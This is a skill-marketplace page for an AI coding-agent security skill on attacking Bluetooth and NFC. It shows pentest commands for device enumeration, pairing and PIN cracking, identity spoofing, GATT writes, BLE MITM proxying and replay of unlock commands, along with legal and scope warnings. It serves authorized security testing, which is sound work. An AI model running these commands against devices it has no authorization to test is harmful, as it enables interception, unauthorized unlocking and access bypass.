Skip to content
Security
Skill

/attacking-bluetooth-nfc

Attack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE

BOOST
From plugin
secskills
17094 skills
Install
$ npx -y skills add trilwu/secskills --skill attacking-bluetooth-nfc --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/attacking-bluetooth-nfc

Context preview

The summary Claude sees to decide when to auto-load this skill.

Attack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE

SKILL.md

attacking-bluetooth-nfc.SKILL.md
name: attacking-bluetooth-nfc
description: Attack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE peripherals or IoT devices, assessing NFC-based access controls or contactless payment security, testing Bluetooth pairing and authentication, or evaluating physical access card cloneability.
verified: 2026-07-27

Attacking Bluetooth and NFC

Bluetooth and NFC share a property with early Wi-Fi -- the protocols were designed for convenience in a trusted physical environment, and the trust assumption no longer holds. BLE devices routinely transmit sensitive data in cleartext because the GATT characteristic was "internal", and NFC access cards rely on cryptography that was broken years ago. Physical proximity is not access control.

When to Use

  • Assessing BLE peripherals or IoT devices with Bluetooth interfaces
  • Testing NFC-based physical access controls (badge readers, door locks)
  • Evaluating contactless payment card or transit card security
  • Pentesting Bluetooth Classic services (RFCOMM, OBEX, SDP)
  • Sniffing or intercepting BLE communication between device and app
  • Cloning or replaying NFC/RFID credentials

**Scope and authorization.** RF work has a legal profile the rest of pentesting does not, because you cannot confine a radio to the target:

  • **Interception is wiretap law.** Capturing BLE or Bluetooth Classic traffic

sweeps in whatever else is transmitting nearby — staff phones, medical devices, neighbouring tenants. In the US that implicates the Wiretap Act and ECPA; most jurisdictions have an equivalent. Test in a shielded enclosure or a controlled area where you can account for every device you capture, and discard non-target captures without analysing them.

  • **Transmitting is regulated.** Jamming, active BLE injection, and

high-power relay setups can violate FCC Part 15 (or national equivalent) regardless of who owns the target device.

  • **Cloned access credentials are physical keys.** A duplicated badge is

forgery-adjacent in many jurisdictions and gets you into spaces the engagement may not cover. Enumerate which doors are in scope before you clone, log every credential you produce, and destroy the clones at the end.

Get physical-site authorization, an RF testing window, and a device inventory in writing — and carry the authorization letter, because RF testing is the scenario where you are most likely to be physically challenged mid-test.

When NOT to Use

  • **Wi-Fi attacks** -- use `attacking-wireless-networks`
  • **Device firmware extraction and analysis beyond the RF interface** -- use `analyzing-firmware-images`
  • **Mobile app security beyond the BLE communication layer** -- use `testing-mobile-applications`

Bluetooth Classic

Discovery and Enumeration

hcitool scan                              # Discoverable devices
hcitool inq                               # Extended inquiry (class, RSSI)
hcitool info AA:BB:CC:DD:EE:FF            # Name, class, features
hciconfig -a                              # Local adapters

# bluetoothctl interactive
bluetoothctl
# scan on / devices / info AA:BB:CC:DD:EE:FF

Service Discovery and RFCOMM

# SDP enumeration
sdptool browse AA:BB:CC:DD:EE:FF          # All services
sdptool search SP AA:BB:CC:DD:EE:FF       # Serial Port profile
sdptool search OPUSH AA:BB:CC:DD:EE:FF    # OBEX Push

# Connect to RFCOMM channel
rfcomm connect /dev/rfcomm0 AA:BB:CC:DD:EE:FF 1
screen /dev/rfcomm0 115200                # Interact as serial device

PIN Brute-Forcing

spooftooph -i hci0 -a AA:BB:CC:DD:EE:FF  # Spoof BT identity
btcrack <bd_addr_file> <pairing_capture>  # Offline PIN cracking
crackle -i capture.pcap -o decrypted.pcap # Crack BLE legacy pairing TK

BLE (Bluetooth Low Energy)

Scanning and GATT Enumeration

hcitool lescan                            # Discover BLE devices
bettercap -eval "ble.recon on"            # bettercap discovery
# ble.enum AA:BB:CC:DD:EE:FF             # Enumerate services

# gatttool interactive
gatttool -b AA:BB:CC:DD:EE:FF -I
# connect / primary / characteristics / char-desc
# char-read-hnd 0x000e                   # Read by handle
# char-write-req 0x000e 0100             # Write value
# char-write-req 0x000f 0100             # Enable notifications

# bettercap GATT operations
# ble.read AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid>
# ble.write AA:BB:CC:DD:EE:FF <svc_uuid> <char_uuid> <hex>

nRF Connect (mobile or desktop) is often fastest for interactive GATT browsing. Document findings with screenshots for characteristic UUIDs and properties.

Just Works Pairing

BLE "Just Works" provides no MITM protection. The Temporary Key is zero, so any observer within range can derive the Short-Term Key and decrypt traffic. If the device uses Just Works, report it -- Secure Connections with numeric comparison or passkey entry is the minimum.

BLE Attack Patterns

MITM with GATTacker or BtleJuice

# GATTacker -- clone peripheral, proxy all GATT traffic
node scan.js
node advertise.js -a <target_mac>         # Fake peripheral
node central.js -a <target_mac>           # Proxy to real device

# BtleJuice (two BLE adapters required)
btlejuice -u <ws_url> -w                  # Core: connects to real device
btlejuice-proxy -i hci1                   # Proxy: advertises as clone
# Web UI on port 8080 for intercept/modify

Replay Attacks

Many BLE devices use static values for commands (unlock, configure). Capture the characteristic value, replay it from your own connection. If no nonce, counter, or session binding exists, the device accepts it.

gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0031        # Capture
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0031 -n <hex>  # Replay
``
Read more
Ships withsecskills

**Security skills for Claude Code that encode the judgment professionals bring, not another wrapper around a scanner.** Offense, defense, and the reverse-engineering and code-audit core both sides share. Every skill is fact-checked against primary sources.

Get the whole plugin

Other skills on secskills.